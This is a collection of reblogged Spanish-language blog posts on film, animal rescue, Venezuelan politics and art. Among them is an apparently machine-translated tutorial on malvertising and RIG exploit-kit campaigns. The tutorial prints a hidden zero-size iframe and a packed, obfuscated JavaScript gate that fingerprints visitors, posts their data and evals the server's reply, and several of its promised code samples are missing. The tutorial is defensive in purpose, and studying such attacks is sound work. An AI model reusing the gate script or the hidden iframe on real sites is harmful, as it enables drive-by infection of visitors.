Personajes como Patti Smith, Mike Stipe, Jarmusch y Scorsese, fueron donantes importantes. Lo mismo que Christo o Cindy Sherman que han donado obra para subastar.El tiempo preferido de Jonas era el presente, quizá por eso vivió tanto pero estoy convencida de que el futuro alberga un reconocimiento trascendental de su obra. Jonas el que es, Jonas el poeta y Jonas el que sólo quiere ser, “Puedo entender a los gatos, a las vacas, a los perros (...) pero no puedo entender a los humanos” relata Jonas en Lost, Lost, Lost y unos años más tarde en Letter from Greenpoint(2004), reflexiona mientras acaricia a su gatito Mizzi:Miren al gato. No tiene pretensiones más que ser un gato comiendo su comida  de gato. No es tan fácil ser así. Lo intento. Lo intento. Espero algún día lograr llegar a ese estado. Sólo ser.​Lo lograste Jonas, lo lograste.

El día que murió Jonas, brindé con una copa de vino tinto a su memoria, lagrimón

de por medio y le di las gracias por las horas maravillosas que me regaló.

Notas

1. October / Vol. 29 (Summer, 1984), pp. 82-116

Agradecemos a Javier Porta Fouz por compartirnos los catálogos del Bafici para la elaboración de esta nota.

Una postal desde Mar del Plata

"Gracias por el libro. Como ves, estoy en el otro extremo del mundo. Admirando el sol gracias al dinero del Gobierno argentino. Con mi pelicula estaba invitado a Festival del Cine de Mar del Plata: autografos, fotografos, entrevistas, muchachas chillando - Having  a Good Time. La vida de Filmaker - After all - tiene algunas cosas buenas."  

JONAS

Traducción: José Antonio Naujokaitis

[mascotamanias]

Sois fantásticos!!!!👏👏👏👏👏👏👏👏👏👏👏👏 . Reposted from @proteccionanimalporlospelos - Hoy 26 de abril hace 2 meses que nuestras compañeras recibieron el aviso de que Salva estaba en el vertedero de un pueblo de Toledo y enseguida una voluntaria nuestra fué a recogerlo. Lo que se encontró al llegar allí era espeluznante, no habia palabras para describir la imagen, solo lloraba y lloraba de verlo así, lloraba de rabia, de impotencia, de dolor por no comprender como hay gente tan despreciable que puede tratar así a un animal, utilizarlo, explotarlo, maltratarlo como si de un objeto se tratase y tirarlo a un basurero. A partir de ahí se le lleva de inmediato al hospital y los veterinarios quedan horrorizados, el pronóstico es grave, anemia galopante, sin pelo, desnutrición gravisima (el pobre Salva devoraba de hambre lo que fuera desde el primer momento), leishmania muy alta, debido a esto camina con los muñones porque le ha atacado a los huesos de las patitas. Boca totalmemte destrozada. Se le tuvieron que hacer dos transfusiones de sangre. Ha aguantado tratamientos y pinchazos a diario como un campeón! En estos dos meses el cambio ha sido brutal. Es un perro super cariñoso que no guarda rencor ninguno (cuanto tenemos que aprender de ellos!!). Estamos seguras que Salva ha llegado a nosotras y a todos vosotr@s por algún motivo especial, seguramente para hacernos mejores personas, para ser menos egoistas, para luchar mas todavia, para no tirar la toalla nunca, para tener mas ganas de seguir adelante cuando las fuerzas flaquean....no sabemos....pero por algo segurisimo!!! Salva es un ejemplo de lucha, de superación, de supervivencia, de resistencia, de resilencia y como no de AMOR INFINITO! Queremos dar las gracias a tod@s los que habeis ayudado, a todos y cada uno de vosotr@s que sois muchos, y a tod@s los que seguis ayudando, ya que queda todavia la operación de las 3 patitas. Nuestro agradecimiento infinito como siempre al hospital veterinario @suveterinario por no tirar jamás la toalla y tratar siempre tan bien a todos nuestros peludos. Y como no, un gracias muy especial a Rocio, su casa de acogida, que le trata como a un marquesito y le lleva todas la https://www.instagram.com/p/BwuSJJyFFz_/?utm_source=ig_tumblr_share&igshid=klm1u3c0s6ao

[carlosprietoblog]

El Padrino - 50 Años - (Por www.semana.com)

Agobiado por las deudas y tras varios fracasos, Mario Puzo decidió escribir un libro pensando más en las ventas que en la calidad. El resultado fue El Padrino, que luego de su adaptación al cine se convirtió en una de las grandes historias de todos los tiempos. Este mes cumple medio siglo.

A mediados de los años sesenta, Mario Puzo estaba al borde de la quiebra. Tenía más de 45 años, cinco hijos que alimentar y una deuda de 20.000 dólares con sus familiares, los bancos, varias casas de apuestas y algunos usureros.

Y lo peor: su carrera de escritor naufragaba, pues aunque sus primeras novelas (The Dark Arena y The Fortunate Pilgrim) habían recibido muy buenos comentarios de los críticos, en ventas habían fracasado del todo.

Sus editores, que ya le habían dado un ultimátum, le propusieron que escribiera sobre el mundo de los gánsteres, pues allí veían un gran potencial. Puzo, hijo de inmigrantes napolitanos analfabetas que vivían en Nueva York, no estaba muy convencido, pero en realidad no tenía muchas opciones.

“Era el momento de crecer y de ‘venderse completo’, como alguna vez aconsejó Lenny Bruce -diría tiempo después-. Así que les dije que bueno, que iba a escribir un libro sobre la mafia.

No fue tan fácil. Cuando les presentó un resumen de la historia que quería contar, lo rechazaron y se quedó sin plata y sin editorial. Resignado, engavetó sus ideas, hasta que tiempo después se las mostró a otro escritor que conoció en la revista Magazine Management Co, en la que trabajaba de periodista. Este quedó encantado con la historia y se la llevó a G. P. Putnam’s Son, una de las editoriales más grandes del país.

Ellos se entrevistaron con Puzo, le dieron un anticipo de 5.000 dólares y le pidieron poner manos a la obra.

El 10 de marzo de 1969, hace 50 años, finalmente salió a la venta su libro: El Padrino. Tuvo un éxito inmediato. En pocos días encabezó las listas de ventas en los Estados Unidos y durante 67 semanas estuvo en la de los más vendidos del diario The New York Times.

También llegó a lo más alto en Reino Unido, Francia y Alemania, y en total vendió más de 9 millones de copias en dos años. Esta vez, al contrario de lo que le había pasado antes, la crítica no le dedicó las mejores alabanzas, pero el público sí.

Puzo siempre dijo que El Padrino le gustó menos que otros libros suyos, que lo escribió pensando en ganar plata y que no tiene el rigor literario de sus anteriores novelas. Pero la historia de los Corleone enamoró al mundo y se convirtió en un clásico.

A partir de un hecho real -las cinco familias que controlaban la mafia en la ciudad de Nueva York-, el escritor italo-estadounidense contó la historia ficticia de un clan que entra en guerra con otros rivales.

Pero más que un relato de unos matones sin reservas, que abundaban en esa época en el cine y en la literatura, logró plasmar un drama familiar y adentrarse en los códigos y las estructuras de la mafia como nunca antes.

Resulta muy curioso que lo escribió a partir de su propia investigación y de sus conocimientos básicos sobre el mundo de los inmigrantes italianos, pues siempre afirmó que nunca se entrevistó con ningún mafioso y tampoco estuvo involucrado en ese ambiente.

Eso sorprendió a los propios gánsteres, que se vieron retratados en una forma hiperrealista.

La obra de arte

Pero solo cuando Paramount Pictures compró los derechos para llevar la obra al cine, tres años después, esta se convirtió en el fenómeno que muchos conocen hoy.

El proceso atravesó toda clase de dificultades: los productores querían una historia vendedora, barata y efectiva. Para eso buscaron a un director joven, bueno pero inexperto, maleable y de origen italiano. Esto último, fundamental para enfrentar las críticas de la comunidad de inmigrantes de ese país, que rechazaba la tendencia a encasillarlos.

Francis Ford Coppola reunía todas esas condiciones, pero se negó: el libro no le había gustado para nada.

“Cuando me senté a leerlo por primera vez, mi primera impresión fue de sorpresa y consternación; se parecía más a un libro de Harold Robbins o Irving Wallace, una obra hecha para ganar dinero, llena de sexo y tonterías”, escribió hace poco

Pero Coppola estaba cerca de la quiebra, al igual que Puzo cuando escribió el libro, y reconsideró la oferta por física necesidad.

Por eso se sentó a leerlo con más cuidado y, para su sorpresa, descubrió un diamante en bruto: “Detrás de todo, había una gran historia, casi clásica en su naturaleza; la de un rey con tres hijos, cada uno de los cuales había heredado un aspecto de su personalidad. Me entusiasmé con extraer eso de la historia y plasmarlo en la película”.

Escritor y director se sentaron a escribir el guion a dos manos. Coppola se encargaba de una parte, Puzo de otra y luego hacían anotaciones.

Así, lograron desarrollar las mejores partes de la historia (el cineasta siempre dijo que Puzo había enfocado el libro en los personajes equivocados) y la redujeron al drama de los Corleone.

Don Vito, el patriarca fundador del imperio; Sonny, el hijo mayor impaciente por demostrar que podía reemplazarlo, Fredo, irresponsable a inconsciente de la gravedad de lo que sucede a su alrededor y Michael, el hijo menor ausente y poco involucrado que termina por heredar el poder de su padre.

Faltaban otras peleas con los productores, que querían manejar a Coppola a su antojo. Al inicio le pidieron que por costos trasladara la historia, que transcurre entre 1945 y 1955, a los años setenta. Pero él logró convencerlos de que no era una buena idea.

Luego se resistieron a que contratara a Marlon Brando y a Al Pacino para los papeles de Vito y Michael Corleone. El primero por problemático y al segundo por desconocido. El estudio quería a Edward G. Robinson y a Robert Redford. Pero nuevamente la terquedad del director se impuso.

Y finalmente, tuvieron que reunirse con la Liga Italo-Americana, pues los miembros de la comunidad amenazaban boicotear la película. Solo desistieron cuando les prometieron que en la cinta no iban a aparecer los términos ‘mafia’ ni ‘cosa nostra’.

Al final, Coppola terminó desesperado, ansioso y con ganas de renunciar.

Un ícono del siglo XX

Con tantos problemas, el estudio estaba seguro de que el proyecto fracasaría pero sucedió todo lo contrario. La película rompió todos los récords de taquilla, se llevó los aplausos de la crítica y ganó tres premios Óscar, incluyendo el de mejor película y el de mejor guion, que compartieron Puzo y Coppola.

Muchos dicen que consiguieron un milagro, pues pocas veces una película resulta mejor que el libro que la origina. Pero sí: mientras la novela pasó a la historia como un best-seller más, muchos consideran a la película una obra de arte y casi siempre la clasifican entre las mejores de todos los tiempos.

Hoy, la historia es todo un ícono del siglo XX, y ha influenciado tanto a la cultura popular, que introdujo al lenguaje de todos los días términos como ‘Consiglieri’ o frases como “una oferta que no podrá rechazar”, “mantén a tus amigos cerca, pero a tus enemigos aún más cerca” o “la venganza es un plato que se come frío”, entre muchas otras.

Tuvo un impacto tan grande, que cuando les propusieron a Puzo y a Coppola que realizaran una segunda parte, lo dudaron. Sentían que la historia ya estaba cerrada y que no había mucho por agregar.

Pero finalmente aceptaron porque una parte importante del libro se había quedado afuera: la infancia de Vito Corleone y su ascenso en el mundo del crimen. Coppola decidió alternar esa trama con la de los primeros pasos de Michael después de convertirse en padrino.

Nuevamente se sentó con Puzo y escribieron el guión. Discutieron mucho, pues al comienzo el escritor no quería que Fredo Corleone traicionara a su hermano, ni que la esposa de Michael abortara a su hijo. Pero finalmente accedió.

Así, nuevamente sin mucho convencimiento, lograron el segundo milagro:.la secuela resultó tan buena como la primera, y para algunos aún mejor

La crítica los alabó, el público enloquecido llenó nuevamente las salas y la academia se rindió a sus pies: se llevaron seis premios Óscar y agrandaron aún más la leyenda.

Luego del éxito, Puzo siguió escribiendo best-sellers. Ya sin problemas económicos y con el futuro asegurado, mantuvo su fórmula y publicó Los tontos mueren (1978), El siciliano (1984), La cuarta K (1991) y El último Don (1996). También se dedicó al cine y escribió los guiones de Superman (1978), Superman II (1980), The Cotton Club (1984) y la adaptación de El siciliano (1987).

Coppola, por su parte, se convirtió en uno de los grandes cineastas de finales del siglo XX y se anotó otros éxitos como Apocalypse Now (1979).

Ambos se volvieron a encontrar en los años noventa, cuando Paramount les propuso hacer la tercera parte de El Padrino. Nuevamente renuentes accedieron, pero el resultado, a pesar de su éxito en taquilla, distó mucho del de las anteriores cintas.

Puzo murió el 2 de julio de 1999 y dejó para la posteridad su gran obra. Porque aunque muchos han visto las películas una y otra vez, relativamente pocos leyeron la novela original.

Ahora que salen nuevas ediciones para conmemorar sus 50 años, incluyendo una en Colombia de Ediciones B, llega una oportunidad inigualable para enamorarse nuevamente de la historia que encantó al mundo.

[thetechnologyguy-blog1]

CÓMO SE HACEN LOS ATAQUES DE MALWARE USANDO PUBLICIDAD EN LÍNEA

https://noticiasseguridad.com/tutoriales/como-se-hacen-los-ataques-de-malware-usando-publicidad-en-linea/

¿Qué es malvertising?

El malvertising es un método en el que un atacante apunta hacia anuncios en línea para robar las credenciales de acceso de los usuarios. Estos días la publicidad online es la principal fuente de ingresos de muchas personas y plataformas; es, por ejemplo, el principal ingreso de los más populares motores de búsqueda. Debido a esto, la publicidad en línea también representa una plataforma sólida para desplegar un virus, malware e incluso ataques de ransomware, de ahí el uso del término “malvertising”.

Malware + Advertising = Malvertising

Alguno de estos programas maliciosos puede ser insertado en algún anuncio en línea. Hoy en día, el malvertising se ha vuelto mucho más atractivo para los atacantes, debido a que se puede propagar de forma muy fácil a través de un gran número de sitios web.

Usando malvertising se puede inyectar un virus, spyware, malware, desplegar ataques XXS y muchas otras actividades maliciosas.  El malvertising puede incluso inyectar un keylogger que puede grabar las pulsaciones del teclado. Muchos datos personales pueden ser filtrados, como contraseñas de cuentas bancarias, por ejemplo. Muchos otros secretos que no quieres compartir con nadie podrían ser filtrados a partir de un malvertising.

Investigadores en hacking ético del Instituto Internacional de Seguridad Cibernética, algunos de los más importantes sitios web de noticias del mundo han sido inyectados con malvertising, debido a la popularización de esta práctica.  

Como se mencionó anteriormente, el malvertising puede propagarse de muchas formas. Un virus pueden usarse para monitorear la actividad en línea de un usuario. Los delincuentes cibernéticos utilizan malware para robar información personal y credenciales de inicio de sesión con fines maliciosos.

Cómo puede ser inyectado el malvertising

Las tácticas de ingeniería social el vector de ataque más utilizado. En esta fase, los avisos maliciosos o las alertas aparecen como ventanas emergentes

La otra forma es la descarga desde el que el usuario se infecta simplemente cargando una página web con anuncios maliciosos

El anuncio contiene una secuencia de comandos que busca vulnerabilidades para descargar y ejecutar el archivo en la computadora de destino

Precaución temprana contra el malvertising

Hay muchos métodos seguros que puede utilizar para evitar este tipo de ataques. Por ejemplo, en Chrome puede cambiar la configuración abriendo chrome://settings/content en la barra de URL. Aparecerá una ventana como la que se muestra a continuación:

Las configuraciones anteriores se pueden cambiar como el usuario quiera. Para flash siempre debe considerar preguntar primero en Google Chrome

El software adblocking no bloqueará todos y cada uno de los anuncios. Pero reduce la superficie de ataque. Al elegir un producto, investigue si el producto incluye en la lista blanca a ciertos proveedores de anuncios. A estos anunciantes se les confiará el software de bloqueo de anuncios y se les permitirá mostrar sus anuncios

En el uso diario, inicie sesión en su sistema con una cuenta que no sea de administrador. Tanta unidad de descargas e instaladores fallará. El permiso fallará porque no tiene ciertos derechos para instalar y ejecutar el software. En seguridad se considera como privilegios mínimos.

Evite utilizar versiones antiguas de Flash y Java. Desinstalar si es posible. Si tiene que ejecutarlos, asegúrese de instalar y usar la versión parcheada más reciente

Mantenga su navegador web en el nivel de parche actual

Use software antivirus y anti-spyware/anti-malware, especialmente aquellos que pueden detectar posibles sitios web maliciosos que está intentando visitar

Se pueden cambiar otras configuraciones del navegador web, como Internet Explorer, donde puede personalizarlas ingresando algunas de las palabras clave

Considere eliminar o deshabilitar los plugins no utilizados en el navegador web. Si un usuario instala algún nuevo software en la computadora, es posible que los plugins se instalen y puedan dañar su equipo

Utilice siempre un navegador web separado si desea utilizar plugins. Esto reduce el 90% de las posibilidades de ser vulnerable a los atacantes

Mantenga su navegador actualizado con los últimos parches de seguridad. De forma predeterminada, la mayoría de los navegadores web mantienen la configuración de actualización automática para actualizar el navegador

Actualiza tu sistema operativo regularmente. Siempre considere usar un buen antivirus. Hoy en día, hay muchas compañías que proporcionan antivirus con algunas funciones útiles para evitar que su navegador web o sistema operativo se infecte

No haga clic en cualquier ventana emergente o banner. Podrían inyectar algunos archivos maliciosos en el caché y las cookies del navegador web. Algunos de los anuncios publicitarios pueden solicitarle que instale software para ejecutar o abrir esos sitios

Siempre haga copias de seguridad de sus archivos importantes. Hay muchos recursos en línea que se utilizan para hacer copias de seguridad de los datos. O puede usar cualquier almacenamiento fuera de línea para hacer una copia de seguridad de sus datos. La mejor manera es hacer una copia de seguridad de sus datos cada mes o todos los días

La actividad de inicio de sesión más popular de Google es bien conocida por todos. La actividad de inicio de sesión se puede pausar. Y si haces una pausa en esta actividad, Google muestra menos anuncios o ningún anuncio relacionado con su búsqueda

Después de desactivar la actividad de cierre de sesión, Google mostrará muy pocos o ningún anuncio relacionado con su búsqueda. Para ACTIVAR/DESACTIVAR, vaya a https://www.google.com/history/privacyadvisor/search y siga la pantalla siguiente:

La configuración anterior debe estar desactivada. Así que Google no mostrará anuncios relacionados con su búsqueda

Herramientas usadas en malvertising

Kit de exploits RIG

El kit de exploits RIG es uno de los exploits populares utilizados en malvertising. Este exploit es muy utilizado en la descarga drive-by. Es un ataque que realiza varias redirecciones al usuario que accedió al sitio web general. Es un exploit que se utiliza para inyectar malware dentro de los anuncios. El atacante envía un código de explotación que explota los navegadores vulnerables y otros complementos para que pueda instalarse.

RIG usa 5 campañas principales para explotar sus objetivos:

Pseudo-darkleech

Utiliza un iframe que lleva a RigEk mientras inyecta un código. Durante el intervalo y la parte superior del valor del intervalo tiene un valor muy grande

La ubicación del código inyectado es o antes de la etiqueta html y del cuerpo

Como la etiqueta de noscript existe al final del código inyectado, el contenido del sitio comprometido no se muestra correctamente

Los sitios comprometidos a menudo utilizan una versión anterior de CMS

Mientras se accede a la misma IP, se devuelve el código de estado HTTP 500

RigEk inyecta el siguiente código para comprometer sitios

Eitest

El código inyectado de EITest utiliza un código javascript que genera dinámicamente un iframe que se dirige a iframe RigEK

Este código malicioso se inyecta cerca de la etiqueta de cierre de la etiqueta del cuerpo

Al acceder a la misma IP constantemente, se devuelve la página normal

RiskEK utiliza el siguiente código para comprometer sitios

Goodman

Goodman usa un código donde existe un iframe que se inyecta en el sitio comprometido en una etiqueta div cuyos valores superior e izquierdo son -500px

El código del sitio comprometido se sobrescribe con el código inyectado a veces el contenido no se muestra correctamente.Goodman no siempre está conectado a RigEK

Esta campaña utiliza el siguiente código para comprometer el sitio

Decimal IP

Las dos campañas anteriores pseudo-Darkleech y EITest redireccionan mediante el código de estado HTTP sin redirigir en iframe. El principio de funcionamiento en sí es un método tradicional.

El atacante no puede acceder a varios sitios comprometidos más de uno con la misma IP. Decimal IP utiliza el siguiente código

Seamless

Seamless se utiliza en varios contenidos relacionados con exploits.

Es la posición justo después de la etiqueta central, incluye ancho cero, altura y sin codificador de marco, más la adición del atributo sin costura.

El siguiente es el código de ejemplo de seamless

Contenido de la página

A continuación se muestra el ejemplo de la página de prueba:

<HEAD></HEAD> <BODY BGCOLOR="WHITE"><CENTER><iframe width="0" scrolling="no" height="0" frameborder="0" src="" seamless="seamless"><H1>A Simple Sample Web Page</H1> If you would like to make a link or bookmark to this page, the URL is:<BR> http://sheldonbrown.com/web_sample1.html

Contenido raíz

Los directorios raíz en algunos de los sistemas que alojan páginas de destino que incluyen JavaScript un poco más sofisticado

Toma la información de la zona horaria del usuario y la pública de nuevo en el script PHP antes de revelar la puerta

<HEAD> <style> html {display: none;} </style> <script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"></script> <script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js"></script> <script>eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});',51,51,'var||document|function|location|send|analytics|ready|body|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|3188658|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'),0,{}))</script> </HEAD> <BODY BGCOLOR="WHITE"> </body>

La siguiente es la puerta que regresa con las pocas cadenas entre las etiquetas de script

Así que siempre tenga cuidado al hacer clic en los anuncios en línea.

PARA MAYOR INFORMACIÓN VISITE: https://noticiasseguridad.com/tutoriales/como-se-hacen-los-ataques-de-malware-usando-publicidad-en-linea/

[cubanoti]

Noticias de Venezuela: las más destacadas de la semana

La nación caribeña es uno de los países más noticiosos del mundo. Única en tener dos presidentes en disputa, dos Parlamentos, una Asamblea Constituyente y 394 presos políticos, según denuncia la ONG Foro Penal.

Acá, una breve reseña de lo que fue tendencia en el país bolivariano, donde a partir de ahora ADN Cuba registra la cobertura de su acontecer diario con profesionales venezolanos de amplia experiencia, en la misión de extendernos por toda América.

1 Juan Guaidó estalla contra Maduro: “Eres un maldito”

El presidente interino reconocido por 60 países ofreció la efusiva declaración a través de un Live, después de enterarse del bloqueo de una transacción bancaria que beneficiaría al personal de la salud en Venezuela.

“Hay que ser bien maldito para bloquear una plataforma AirTM y prohibir que reciban el atención quienes están tratando con su vida de salvar vidas”, zanjó este jueves 20 de agosto después de que el régimen emitiera una alerta contra la billetera electrónica por considerar que se encuentra fuera de los controles financieros establecidos.

Juan Guaidó, que utilizaría por primera vez fondos públicos durante su gestión en disputa, preveía entregar al personal de salud 100$ mensuales para paliar los bajos sueldos del país caribeño. Ante este escenario, Nicolás Maduro bloqueó la billetera electrónica AirTM, donde precisamente se depositaría el dinero.

2 Maduro interviene casi todos los partidos políticos para realizar elecciones a su medida 

De cara a los comicios parlamentarias pautados para el próximo 6 diciembre, el Tribunal Supremo de Justicia (TSJ) al servicio del gobierno de Nicolás Maduro, en menos de dos meses, ha intervenido cuatro partidos políticos y ha nombrado nuevas juntas directivas que están de acuerdo con participar en los comicios, pese a que la comunidad internacional los ha tildado de irregulares. 

El primer partido en ser despojado por el chavismo fue Acción Democrática, le siguieron Voluntad Popular, Un Nuevo Tiempo y Primero Justicia. Pero los revolucionarios críticos tampoco se salvaron del despojo: Tupamaro y Patria Para Todos recibieron lo suyo.

3 Primera autoridad chavista que muere producto del Coronavirus 

La pandemia cobra la primera vida un un alto funcionario venezolano. La víctima fue Darío Vivas, jefe del Distrito Capital, que falleció este jueves 13 de agosto en la ciudad de Caracas tras complicaciones de salud derivadas del Covid-19. 

La noticia la dio a conocer el fiscal designado por la Asamblea Nacional Constituyente, Tarek William Saab, a través de su cuenta en Twitter. “Con profundo pesar recibimos la lamentable noticia del fallecimiento del buen amigo Darío Vivas: revolucionario a carta cabal con quien compartimos, desde los años 80’ en las calles de Caracas,  valientes luchas en defensa del pueblo y de la patria”.

4 Arsenal de armas y efectivo incautado en USA guardan relación con Maduro

Estados Unidos confiscó aeronave con un arsenal de armas y 20.000 dólares en efectivo en Fort Lauderdale, estado de Florida, y desencadenó nuevas acusaciones contra Nicolás Maduro y su presunto testaferro, Alex Saab. Los señalamientos fueron hechos por el diputado Carlos Paparoni, que apunta directamente al régimen de Miraflores por la detención de los dos venezolanos que iban a bordo del vehículo.

“(El) avión venezolano YV 3441 interceptado por autoridades de EE.UU. cargado con armas y dólares en efectivo pertenece a una empresa de Roswell Rosales, piloto de Álvaro Pulido Vargas, socio del testaferro de (Nicolás) Maduro, Alex Saab”, aseguró el diputado opositor.

Los dos venezolanos fueron identificados como Luis Alberto Patiño y Gregoni Jenson Méndez, quienes pretendían viajar en una aeronave con 18 rifles de asalto, 6 escopetas, 58 pistolas semiautomáticas y más de 20.000 dólares en efectivo, con destino a Caracas.

5 Guaidó convoca a movilizaciones para enfrentar elecciones parlamentarias en Venezuela 

El Gobierno interino de Juan Guaidó exhortó a todos los sectores del país para concretar una “agenda de lucha y movilización” para “salvar a Venezuela y enfrentar el fraude” de las elecciones parlamentarias del 6 de diciembre.

“Hoy, de manera oficial, convoco y comprometo a todas las fuerzas democráticas vinculadas con la lucha a acordar de manera urgente una ruta común que podamos presentar al país. Hago especial énfasis en los liderazgos de personas cuyo compromiso respeto, a pesar de las diferencias que puedan existir en las formas que puedan existir: Andrés Velásquez, Antonio Ledezma, Henry Ramos Allup, Manuel Rosales, María Corina Machado, Delsa Solórzano, Henrique Capriles, Julio Borges, Roberto Enríquez, Leopoldo López”, añadió.

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Skyline in La Habana, Cuba, at sunset, with vintage cars on the street and people sitting on the Malecon. Copy space

https://adncuba.com/actualidad-internacional/venezuela/noticias-de-venezuela-las-mas-destacadas-de-la-semanahttps://adncuba.com/actualidad-internacional/venezuela/noticias-de-venezuela-las-mas-destacadas-de-la-semana Noticias de Venezuela: las más destacadas de la semana Noticias de Venezuela: las más destacadas de la semana La nación caribeña es uno de los países más noticiosos del mundo.

[verrev]

Artista: Alicia Mihai Gazcue Título: Una antología Dónde: Galería Nora Fisch Fechas: 4 de octubre al 16 de noviembre 2019

Textos, galería de imágenes y links

Alicia Mihai Gazcue, nacida en Uruguay y radicada en Bucarest, Rumania desde principio de los años 80, ha sido una huidiza presencia en la escena del arte. Rescatada en los últimos años por sus colegas Liliana Porter y Ana Tiscornia —quienes creen de manera vehemente en su relevancia— su obra es presentada en Argentina por primera vez en esta muestra antológica que incluye trabajos realizados entre 1969 y 2017.

Su abordaje a la práctica artística tiene un perfil conceptual y socio-político, impregnado de una poética personal y de humor sutil. En sus primeras obras Mihai Gazcue muestra un conceptualismo duro—ejercido como joven participante de la corriente artística que emergió en la década del 70 en distintos centros urbanos de Latinoamérica— utilizando elementos impresos encontrados e intervenciones mínimas donde la palabra juega un rol visualmente secundario pero fundamental en términos de significado. En obra más reciente aparece la preocupación por la reafirmación de su visión personal desde las coordenadas culturalmente híbridas de su vida.

Alicia Mihai Gazcué ha participado en la XII Bienal de Shangai convocada por el curador Cuauthémoc Medina, ha exhibido en España y Estados Unidos, y ha sido entrevistada por Gabriela Rangel e Inés Katzsenstein, entre otros. Su obra se encuentra en las colecciones del Pérez Art Museum de Miami y de Artium (Centro-Museo Vasco de Arte Contemporáneo) además de relevantes colecciones privadas.

Acompaña la exhibición un texto de la historiadora del arte y curadora Laura Malosetti Costa, donde relata memorias personales acerca de Alicia, de las circunstancias compartidas en el Uruguay de los años 70.

ALICIA Por Laura Malosetti Costa

Conocí a Alicia Mihai en 1970 en Montevideo, cuando se radicalizaban las luchas estudiantiles a raíz de un decreto de intervención de la enseñanza secundaria y la clausura de los liceos públicos. Entonces 14 profesores del liceo 14 – entre ellos mi madre – fueron sumariados y quedaron sin trabajo. Eran unos profesores deslumbrantes, mis profesores. Hubo tremendo revuelo de solidaridad con ellos: desde los liceos populares, grandes recitales de música popular para recaudar fondos, manifestaciones, peajes estudiantiles. Los artistas plásticos donaron obras, que se vendieron ese año en la Feria del Libro y el Grabado de Montevideo. Entre ellos, Alicia. No recuerdo exactamente qué obras donó ella, pero por entonces hacía unos dibujos coloreados, como bocetos o instantáneas, de las calles por donde se hacían manifestaciones gigantescas, cuando quedaban vacías. Angel Rama, Mario Benedetti, Eduardo Galeano Julio Cortázar entre otros grandes intelectuales les ayudaron a sobrevivir haciendo alguna changa. Así fue que ese año pudimos seguir comiendo gracias a que ofrecieron a mi madre, Mercedes Costa Urioste, traducir Vidas Secas de Graciliano Ramos porque sabía portugués.

Alicia Mihai no era exactamente su amiga pero frecuentaba de vez en cuando esas tertulias alegres y heroicas de las que guardo un recuerdo imborrable. Ella se había acercado a partir de su amistad y admiración por el escultor Germán Cabrera (su mujer, Alicia Conforte, era otra de las sumariadas). Había una sociabilidad intensa porque todo era urgente. Se reunían casi a diario, discutían, planeaban, se divertían mucho. Yo guardo un recuerdo fugaz de mi distanciada admiración por Alicia, con su pelo lacio y oscuro y su mirada como distraída en sus soberbios 21 años.

El primer encuentro quedó grabado en mi memoria porque había conocido una obra suya antes que a ella, que me había impactado mucho, a fines de 1969: Pasar entre ellos. Era algo aterrador: para entrar al lugar uno debía pasar entre dos soldados, tocarlos, rozarlos con el cuerpo. Esa performance fue algo un poco clandestino, en una casa particular en la Ciudad vieja que recuerdo vagamente. Alicia dice que el dueño de casa se llamaba Roberto y era un activista político pero no recuerda el apellido.

En esos momentos el terror a los soldados en la calle era omnipresente. Aquella performance de Alicia con sus falsos soldados fue un gesto crítico de gran politicidad, algo críptica tal vez en un contexto en que los artistas asumían una didáctica acorde con la urgencia de los tiempos: había que conmover rápido, a mucha gente, mostrar, convencer, difundir en afiches, volantes y grabados todo lo posible. Como aquel pesebre de la navidad de 1968 en una iglesia del centro de Montevideo, con una balanza en la que un montón de armas pesaban más que el niño Jesús. En ese contexto Alicia ensayaba gestos mínimos, como una gota de sangre en una baldosa, o las hojas vacías de un inventario apenas atravesadas por un gesto inconcluso. Es que en realidad ella era una estudiante y militante de la Facultad de Humanidades, estudiante de filosofía, discípula de Angel Rama. No sé cuál sería su formación como artista, era una joven activista, una artista conceptual.

Alicia era severa y contenida, con un delicado sentido del humor que a mis intensísimos 13 o 14 años resultaba fascinante. Como el humor de Germán Cabrera. Filoso como cuchillo. En una entrevista de Gabriela Rangel en 2010 para la revista Review ella comentaba este carácter que parece definir toda su obra: “Te digo algo que puede sonar presuntuoso: yo pienso que la vía del humor es más humilde, y yo prefiero ser humilde”*

El clima que se vivió entonces, en aquellos breves años que precedieron al golpe de 1973, fue de una intensidad extraña y, al menos para mí, de rara felicidad. Después vino la noche de la dictadura. Exilios, cárcel, torturas, muertes y silencio. Distancia y no saber más de muchos amigos de entonces por largo tiempo. Por eso me produjo tanta alegría descubrir que aquella Alicia cuyo apellido no conocía se llamaba Mihai Gazcue, que había emigrado a Rumania y había continuado su camino de artista. Y más alegría me produce que hoy su obra recorra el mundo imbuida de nueva politicidad crítica en un escenario nuevo.

Laura Malosetti Costa UNSAM – CONICET Buenos Aires, Agosto de 2019

* Gabriela Rangel, ¨Interview with Alicia Mihai Gazcue¨ Review. Literature and Arts of the Americas V.43 n.2, Noviembre de 2010, p.229.

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Links: Alicia Mihai Gazcue Galería Nora Fisch

Una antología. Alicia Mihai Gazcue Artista: Alicia Mihai Gazcue Título: Una antología Dónde: Galería Nora Fisch Fechas: 4 de octubre al 16 de noviembre 2019…

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Diego Ricol Freyre recomienda: Diego Ricol Freyre recomienda: David J: “Hice un hechizo para que Bauhaus volviera”

El bajista cuenta cómo la banda se juntó años atrás, y por qué se reconectó hace unos meses con Peter Murphy. También enseña conjuros, habla de la magia negra y adelanta el show de ambos en el Teatro Vorterix.

“Me sorprendió mucho ver ese mail de Peter invitándome a tocar de nuevo, y pensé ‘esta es una buena oportunidad para reconciliarnos’”, señala David J sobre el primer contacto que tuvo con su excompañero luego de doce años.

